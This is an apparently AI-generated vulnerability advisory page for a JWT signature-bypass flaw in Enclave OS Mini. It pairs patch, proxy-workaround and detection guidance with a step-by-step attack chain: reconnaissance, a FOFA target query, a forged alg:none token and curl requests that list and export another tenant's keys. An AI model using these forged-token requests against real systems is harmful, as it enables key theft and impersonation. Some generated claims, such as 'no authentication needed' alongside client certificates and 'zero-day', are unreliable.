CVE Professor
/
All CVEs
CVE-2026-137018

CVE-2026-137018 — Privasys Enclave-os-mini — CWE-287 · CWE-347

CRITICAL CVSS 9.8 NVD

Enclave OS Mini is a Rust-based runtime for confidential applications inside Intel SGX enclaves. Prior to base version 0.25.0 and vault version 0.33.0, Enclave OS Mini's verify_oidc_token function in builds without the wasm feature decoded a JWT payload without verifying its signature. Issuer, audience, and expiration checks therefore evaluated attacker-controlled claims, allowing a remote unauthenticated caller to forge OIDC sub and roles claims and authorize vault operations, including listing or exporting another subject's keys when policy conditions were met. RA-TLS authenticated the channel but did not authenticate the bearer token, and OIDC step-up fields were read from the same unverified payload. This issue is fixed in base version 0.25.0 and vault version 0.33.0.

Enclave OS Mini is a Rust-based runtime for confidential applications inside Intel SGX enclaves. Prior to base version 0.25.0 and vault version 0.33.0, Enclave OS Mini's verify_oidc_token function in builds without the wasm feature decoded a JWT payload without verifying its signature. Issuer, audience, and expiration checks therefore evaluated attacker-controlled claims, allowing a remote unauthenticated caller to forge OIDC sub and roles claims and authorize vault operations, including listing or exporting another subject's keys when policy conditions were met. RA-TLS authenticated the channel but did not authenticate the bearer token, and OIDC step-up fields were read from the same unverified payload. This issue is fixed in base version 0.25.0 and vault version 0.33.0.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Unauthenticated JWT signature bypass in Enclave OS Mini verify_oidc_token

CVE: CVE‑2026‑137018
CVSS 3.1: 9.8 / 10
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical description

Enclave OS Mini is a Rust runtime that executes confidential workloads inside Intel SGX enclaves.
The function verify_oidc_token is responsible for validating an OpenID‑Connect (OIDC) bearer token that is presented by a client (the “vault” component) before any privileged vault operation (e.g., key‑list, key‑export) is performed.

In builds without the optional wasm feature, the function performed the following steps:

1. Base64‑URL decode the JWT and deserialize the JSON payload.
2. Extract the iss (issuer), aud (audience), exp (expiration), sub (subject) and custom roles claim.
3. Validate the extracted claims against the expected values (issuer must match the configured OIDC provider, audience must match the vault client ID, exp must be in the future, etc.).

Critical flaw: The signature part of the JWT (header.payload.signature) was never verified. The code called the claim‑validation logic before any cryptographic verification, and the verification step was omitted entirely in the non‑wasm build. Consequently, an attacker can supply an arbitrarily crafted JWT whose payload contains any sub and roles values they desire; the runtime will accept those values as authentic because it never checks that the signature was produced with the OIDC provider’s private key.

The surrounding RA‑TLS channel authenticates the transport (mutual TLS with remote attestation) but does not authenticate the bearer token itself. The OIDC “step‑up” fields (e.g., acr, amr) are also read from the same unverified payload, so they can be forged as well.

Resulting security weaknesses

CWEDescriptionHow it applies
CWE‑287 – Improper AuthenticationThe system accepts a token as proof of identity without actually verifying the token’s authenticity.No signature verification → any JWT is accepted.
CWE‑347 – Improper Verification of Cryptographic SignatureCryptographic signature is never checked, allowing forgery.The JWT signature is ignored.

Because the vault’s authorization decisions (policy evaluation) rely exclusively on the sub and roles claims, an attacker can impersonate any subject and grant themselves any role that satisfies the policy, leading to unauthorized vault operations such as listing or exporting keys belonging to other principals.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation scenario. All network‑level details (hostnames, ports, exact URIs) are illustrative because the CVE description does not publish the concrete API surface.

1. Discovery & Reconnaissance

StepActionExpected outcome
1.1Fingerprint the service – Scan the target network for open TCP ports typical for Enclave OS Mini (e.g., 443 for RA‑TLS, 8443 for the vault API). Use TLS fingerprinting tools (e.g., nmap --script ssl-enum-ciphers) to identify the custom SGX‑attested server banner.Identify a host running Enclave OS Mini (version string may be exposed via a health‑check endpoint like GET /version).
1.2Obtain version information – Query the (unauthenticated) /version or /info endpoint, which returns a JSON payload containing base_version and vault_version.Confirm that base_version < 0.25.0 and vault_version < 0.33.0.
1.3Locate the token‑protected endpoint – Review the public API documentation (or intercept a legitimate client) to find the endpoint that expects an Authorization: Bearer <jwt> header, e.g., POST /v1/vault/keys/list.Determine the exact HTTP method, path, and required JSON body for a privileged operation.

2. Exploitation

2.1 Craft a forged JWT

Because the signature is never verified, any base64‑url‑encoded payload will be accepted. The attacker can therefore create a JWT with arbitrary claims:

// header (alg can be "none" because signature is ignored)
{
  "alg": "none",
  "typ": "JWT"
}

// payload – set claims that satisfy the vault policy
{
  "iss": "https://malicious-idp.example.com",   // any string – not checked
  "aud": "vault-client-id",                     // must match expected audience
  "exp": 2524608000,                            // far‑future Unix timestamp (e.g., 2050‑01‑01)
  "sub": "victim-user-id",                      // impersonate target subject
  "roles": ["admin", "key_export"]              // grant high‑privilege roles
}

Encode each part with Base64‑URL (no padding) and concatenate with a dot. Since the signature is ignored, the third part can be an empty string or the literal "signature" placeholder.

# Bash example (illustrative)
HEADER='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0'   # {"alg":"none","typ":"JWT"}
PAYLOAD='eyJpc3MiOiJodHRwczovL21hbGljaW91cy1pZHAuZXhhbXBsZS5jb20iLCJhdWQiOiJ2YXVsdC1jbGllbnQtaWQiLCJleHAiOjI1MjQ2MDgwMDAsInN1YiI6InZpY3RpbWUtdXNlci1pZCIsInJvbGVzIjpbImFkbWluIiwia2V5X2V4cG9ydCJdfQ'   # payload above
FORGED_JWT="${HEADER}.${PAYLOAD}."

2.2 Send the malicious request

# Illustrative curl command – replace <host> and <path> with the real values
curl -k \
  --cert client.crt --key client.key \   # RA‑TLS mutual authentication
  -H "Authorization: Bearer ${FORGED_JWT}" \
  -H "Content-Type: application/json" \
  -d '{"filter": {"type":"all"}}' \
  https://<host>:8443/v1/vault/keys/list

Notes

  • -k disables server certificate verification for the example; in a real attack the attacker would rely on the RA‑TLS handshake that already validates the enclave’s attestation.
  • The Authorization header carries the forged JWT. Because the server never checks the signature, the claims are accepted as authentic.
  • The JSON body ({"filter": {"type":"all"}}) is an example of a legitimate request payload for the “list keys” operation.
  • If the policy for the target sub (victim-user-id) allows the admin role to list keys, the server will return the full key inventory, including keys belonging to other subjects.

    2.3 Export another subject’s key

    Many vault APIs provide a separate endpoint for key export, e.g., POST /v1/vault/keys/export. Using the same forged JWT, the attacker can request the private material of any key that the policy permits for the impersonated subject.

    curl -k \
      --cert client.crt --key client.key \
      -H "Authorization: Bearer ${FORGED_JWT}" \
      -H "Content-Type: application/json" \
      -d '{"key_id":"target-key-id","format":"pem"}' \
      https://<host>:8443/v1/vault/keys/export

    If the policy grants key_export to the role admin, the server will return the PEM‑encoded private key of target-key-id, which may belong to a different tenant.

    3. Post‑exploitation

    GoalHow it is achieved
    Confidentiality breachExported private keys can be used to decrypt data at rest or to impersonate the original key holder in downstream services.
    Integrity compromiseWith a private signing key, the attacker can forge signatures for software updates, JWTs for other services, or manipulate audit logs.
    Availability impactThe attacker could delete or rotate keys, rendering legitimate services unable to decrypt data, leading to denial‑of‑service.
    Lateral movementStolen keys may grant access to other internal systems (e.g., TLS certificates for internal APIs).

    Because the attacker does not need any prior authentication (the RA‑TLS channel is public‑key based and can be established by any client possessing a valid enclave attestation certificate), the entire chain can be executed from the internet (AV:N) with low skill (AC:L) and no user interaction (UI:N).


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS vector)
    Confidentiality (C:H)Full disclosure of cryptographic material (private keys, secrets) belonging to any tenant.
    Integrity (I:H)Ability to forge signed artifacts, modify data, or inject malicious code using stolen keys.
    Availability (A:H)Potential to delete/rotate keys, causing service outages for affected workloads.

    Practical consequences

  • Multi‑tenant SGX‑based SaaS platforms that rely on Enclave OS Mini for key management could suffer a complete compromise of all tenant secrets.
  • Enterprises using Enclave OS Mini to protect highly sensitive workloads (e.g., financial transaction signing, DRM) could have their cryptographic roots exposed, violating regulatory requirements (PCI‑DSS, GDPR).
  • Because the vulnerability is exploitable over the network without authentication, any internet‑facing deployment is at risk, making it a prime target for automated scanning and mass exploitation.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ComponentFixed versionUpgrade path
    Enclave OS Mini (base)0.25.0 (or later)Replace the current binary/library with the version released after 30 Nov 2026 that includes the signature verification fix.
    Enclave OS Mini (vault)0.33.0 (or later)Deploy the updated vault component; it contains the corrected verify_oidc_token implementation.

    Verification – After upgrade, query /version again and ensure base_version >= 0.25.0 and vault_version >= 0.33.0. Additionally, run a sanity test: send a JWT with alg: "none" and an empty signature; the server must now reject it with 401 Unauthorized or 403 Forbidden.

    2. Workarounds (if immediate patching is impossible)

    MitigationImplementation details
    Disable the non‑wasm buildRe‑compile Enclave OS Mini with the wasm feature enabled (cargo build --features wasm). The wasm variant includes proper JWT verification.
    Enforce signature verification at the edgeDeploy a reverse‑proxy (e.g., Envoy, Nginx) that validates the JWT signature before forwarding the request. Example Nginx configuration (illustrative):
    # nginx.conf snippet
    http {
        lua_shared_dict jwks 10m;
    
        init_by_lua_block {
            local http = require "resty.http"
            local res = http.new():request_uri("https://oidc-provider.example.com/.well-known/jwks.json")
            ngx.shared.jwks:set("keys", res.body)
        }
    
        server {
            listen 443 ssl;
            ssl_certificate     /etc/nginx/tls/server.crt;
            ssl_certificate_key /etc/nginx/tls/server.key;
    
            location /v1/vault/ {
                access_by_lua_block {
                    local jwt = require "resty.jwt"
                    local token = ngx.req.get_headers()["Authorization"]:match("^Bearer%s+(.+)$")
                    if not token then
                        return ngx.exit(ngx.HTTP_UNAUTHORIZED)
                    end
    
                    local jwks = ngx.shared.jwks:get("keys")
                    local validators = { iss = "https://oidc-provider.example.com", aud = "vault-client-id" }
                    local jwt_obj = jwt:verify(jwks, token, validators)
    
                    if not jwt_obj["verified"] then
                        ngx.log(ngx.ERR, "Invalid JWT: ", jwt_obj["reason"])
                        return ngx.exit(ngx.HTTP_UNAUTHORIZED)
                    end
                    -- forward request only if JWT is valid
                }
    
                proxy_pass http://enclave-os-mini-internal:8443;
            }
        }
    }

    This proxy forces signature verification regardless of the enclave’s internal logic.

    Restrict network exposurePlace the vault API behind a VPN or internal firewall, allowing only trusted hosts (e.g., internal CI/CD runners) to reach it.
    Rotate all keysAfter confirming exploitation, rotate every key stored in the vault, regenerate OIDC client secrets, and revoke any JWTs that may have been issued.

    3. Detection

    IndicatorWhere to lookExample log entry
    Repeated Authorization: Bearer headers with alg=noneEnclave OS Mini access logs, reverse‑proxy logs2026-11-30T12:34:56Z INFO src=10.0.2.45 "POST /v1/vault/keys/list" 401 "Authorization: Bearer eyJhbGciOiJub25l...
    JWT payloads containing future timestamps far beyond normal expiry (e.g., > 10 years)Application logs that record parsed JWT claimsWARN JWT exp=2524608000 (2050‑01‑01) exceeds allowed max
    Successful vault operations from unknown source IPsAudit logs of vault actions (keys/list, keys/export)2026-11-30T13:01:22Z SUCCESS user=unknown-subject ip=203.0.113.45 action=export_key key_id=abc123
    RA‑TLS handshake succeeded but subsequent request returned 200 with high‑privilege dataTLS termination logs + application response logsTLS handshake OK (client cert CN=attester) -> 200 OK for /v1/vault/keys/export

    SIEM rule (pseudo‑code)

    rule:
      id: ENCLAVE_OS_MINI_JWT_BYPASS
      title: "Possible JWT signature bypass in Enclave OS Mini"
      condition: >
        event.source == "enclave_os_mini" &&
        event.http_status == 200 &&
        event.http_path matches "/v1/vault/keys/.*" &&
        event.http_authorization contains "alg\":\"none"
      actions:
        - alert
        - tag: "cve-2026-137018"

    ⚠️ Urgency

  • CVSS 9.8 (Critical) – Network‑reachable, no authentication required, full impact on confidentiality, integrity, and availability.
  • No CISA KEV listing – The vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, which often means that many organizations are unaware of it.
  • Exploit complexity is low – Only requires crafting a JWT; no privilege escalation or prior foothold is needed.
Patch priority: Critical – immediate. Deploy the fixed versions (base >= 0.25.0, vault >= 0.33.0) within the next maintenance window, or apply the edge‑proxy verification workaround while the upgrade is being prepared.

Given the potential for wholesale secret exfiltration, organizations should treat this as a zero‑day emergency and prioritize remediation ahead of any other pending work.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Privasys enclave-os-mini"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-287 CWE-347
Affected Products (2)
Privasys:enclave-os-mini Privasys:enclave-vaults
References & Advisories (3)
Related CVEs
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
9.2
CVE-2026-115977
Improper verification of SAML responses in the bundled dotSAML plugin in dotCMS versions prior to 26.10.22-01,
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.
8.1
CVE-2026-145022
ZITADEL from 4.0.0 before 4.20.5 contains an MFA bypass vulnerability in Login V2 that allows attackers knowin
7.7
CVE-2026-132111
Improper authentication in the legacy login path (LoginFactory.doLogin) in dotCMS versions before 26.11.11-01
7.0
CVE-2026-77302
go-witness and witness are Go modules for generating attestations. Prior to version 0.12.0, a signature-verifi